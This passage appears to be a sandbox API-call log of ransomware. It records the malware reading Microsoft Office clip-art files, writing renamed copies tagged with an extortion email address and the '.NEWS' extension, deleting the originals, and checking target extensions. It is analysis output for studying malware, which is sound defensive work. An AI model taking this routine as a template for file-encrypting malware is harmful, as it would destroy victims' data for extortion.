"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0168.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.258] GetLastError () returned 0x0 [0168.259] ReadFile (in: hFile=0x554, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xd42, lpOverlapped=0x0) returned 1 [0169.127] WriteFile (in: hFile=0x518, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xd50, lpOverlapped=0x0) returned 1 [0169.128] ReadFile (in: hFile=0x554, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.128] WriteFile (in: hFile=0x518, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.128] SetEndOfFile (hFile=0x518) returned 1 [0169.128] CloseHandle (hObject=0x518) returned 1 [0169.128] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.128] SetEndOfFile (hFile=0x554) returned 1 [0169.131] CloseHandle (hObject=0x554) returned 1 [0169.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0169.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.143] lstrlenW (lpString=".doc") returned 4 [0169.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".docx") returned 5 [0169.143] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.143] lstrlenW (lpString=".pdf") returned 4 [0169.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".xls") returned 4 [0169.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.143] lstrlenW (lpString=".xlsx") returned 5 [0169.143] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.143] lstrlenW (lpString=".ppt") returned 4 [0169.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.143] lstrlenW (lpString=".zip") returned 4 [0169.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.143] lstrlenW (lpString=".rar") returned 4 [0169.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".bz2") returned 4 [0169.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".7z") returned 3 [0169.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.143] lstrlenW (lpString=".dbf") returned 4 [0169.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".1cd") returned 4 [0169.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".jpg") returned 4 [0169.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".doc") returned 4 [0169.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".docx") returned 5 [0169.144] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.144] lstrlenW (lpString=".pdf") returned 4 [0169.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".xls") returned 4 [0169.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.144] lstrlenW (lpString=".xlsx") returned 5 [0169.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.144] lstrlenW (lpString=".ppt") returned 4 [0169.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".zip") returned 4 [0169.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.144] lstrlenW (lpString=".rar") returned 4 [0169.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".bz2") returned 4 [0169.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".7z") returned 3 [0169.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".dbf") returned 4 [0169.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.144] lstrlenW (lpString=".1cd") returned 4 [0169.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0169.145] lstrlenW (lpString=".jpg") returned 4 [0169.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.145] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0169.145] lstrlenW (lpString="J0099197.GIF") returned 12 [0169.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0169.145] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10898) returned 1 [0169.145] CloseHandle (hObject=0x4f0) returned 1 [0169.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0169.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0169.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0169.146] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.146] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.477] GetLastError () returned 0x0 [0170.477] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0170.577] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0170.578] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.578] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.578] SetEndOfFile (hFile=0x3ac) returned 1 [0171.226] CloseHandle (hObject=0x3ac) returned 1 [0171.226] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.226] SetEndOfFile (hFile=0x4f0) returned 1 [0171.229] CloseHandle (hObject=0x4f0) returned 1 [0171.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0171.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.230] lstrlenW (lpString=".doc") returned 4 [0171.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.230] lstrlenW (lpString=".docx") returned 5 [0171.230] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0171.230] lstrlenW (lpString=".pdf") returned 4 [0171.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.230] lstrlenW (lpString=".xls") returned 4 [0171.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.230] lstrlenW (lpString=".xlsx") returned 5 [0171.230] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0171.230] lstrlenW (lpString=".ppt") returned 4 [0171.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.230] lstrlenW (lpString=".zip") returned 4 [0171.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.231] lstrlenW (lpString=".rar") returned 4 [0171.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.231] lstrlenW (lpString=".bz2") returned 4 [0171.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.231] lstrlenW (lpString=".7z") returned 3 [0171.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.231] lstrlenW (lpString=".dbf") returned 4 [0171.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.231] lstrlenW (lpString=".1cd") returned 4 [0171.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.231] lstrlenW (lpString=".jpg") returned 4 [0171.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.231] lstrlenW (lpString=".doc") returned 4 [0171.231] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.231] lstrlenW (lpString=".docx") returned 5 [0171.231] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0171.231] lstrlenW (lpString=".pdf") returned 4 [0171.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.231] lstrlenW (lpString=".xls") returned 4 [0171.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.231] lstrlenW (lpString=".xlsx") returned 5 [0171.231] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0171.231] lstrlenW (lpString=".ppt") returned 4 [0171.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.246] lstrlenW (lpString=".zip") returned 4 [0171.246] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.246] lstrlenW (lpString=".rar") returned 4 [0171.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.246] lstrlenW (lpString=".bz2") returned 4 [0171.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.246] lstrlenW (lpString=".7z") returned 3 [0171.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.246] lstrlenW (lpString=".dbf") returned 4 [0171.246] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.246] lstrlenW (lpString=".1cd") returned 4 [0171.246] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0171.246] lstrlenW (lpString=".jpg") returned 4 [0171.246] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.246] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0171.246] lstrlenW (lpString="J0099202.GIF") returned 12 [0171.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.247] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4967) returned 1 [0171.247] CloseHandle (hObject=0x4f0) returned 1 [0171.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0171.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.248] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.248] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.248] GetLastError () returned 0x0 [0171.249] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1367, lpOverlapped=0x0) returned 1 [0171.290] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1370, lpOverlapped=0x0) returned 1 [0171.291] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.292] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.292] SetEndOfFile (hFile=0x3ac) returned 1 [0171.292] CloseHandle (hObject=0x3ac) returned 1 [0171.292] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.292] SetEndOfFile (hFile=0x4f0) returned 1 [0171.294] CloseHandle (hObject=0x4f0) returned 1 [0171.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0171.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.295] lstrlenW (lpString=".doc") returned 4 [0171.295] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.295] lstrlenW (lpString=".docx") returned 5 [0171.296] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0171.296] lstrlenW (lpString=".pdf") returned 4 [0171.296] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString=".xls") returned 4 [0171.296] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString=".xlsx") returned 5 [0171.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0171.296] lstrlenW (lpString=".ppt") returned 4 [0171.296] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString=".zip") returned 4 [0171.296] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString=".rar") returned 4 [0171.296] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString=".bz2") returned 4 [0171.296] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.296] lstrlenW (lpString=".7z") returned 3 [0171.296] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString=".dbf") returned 4 [0171.296] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString=".1cd") returned 4 [0171.296] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString=".jpg") returned 4 [0171.296] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.296] lstrlenW (lpString=".doc") returned 4 [0171.296] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.296] lstrlenW (lpString=".docx") returned 5 [0171.296] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0171.297] lstrlenW (lpString=".pdf") returned 4 [0171.297] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.297] lstrlenW (lpString=".xls") returned 4 [0171.297] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.297] lstrlenW (lpString=".xlsx") returned 5 [0171.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0171.297] lstrlenW (lpString=".ppt") returned 4 [0171.297] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.297] lstrlenW (lpString=".zip") returned 4 [0171.297] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.297] lstrlenW (lpString=".rar") returned 4 [0171.297] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.297] lstrlenW (lpString=".bz2") returned 4 [0171.297] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.297] lstrlenW (lpString=".7z") returned 3 [0171.297] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.297] lstrlenW (lpString=".dbf") returned 4 [0171.297] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.297] lstrlenW (lpString=".1cd") returned 4 [0171.297] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0171.297] lstrlenW (lpString=".jpg") returned 4 [0171.297] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.297] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0171.297] lstrlenW (lpString="J0099203.GIF") returned 12 [0171.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.301] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3904) returned 1 [0171.301] CloseHandle (hObject=0x4f0) returned 1 [0171.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0171.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.302] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 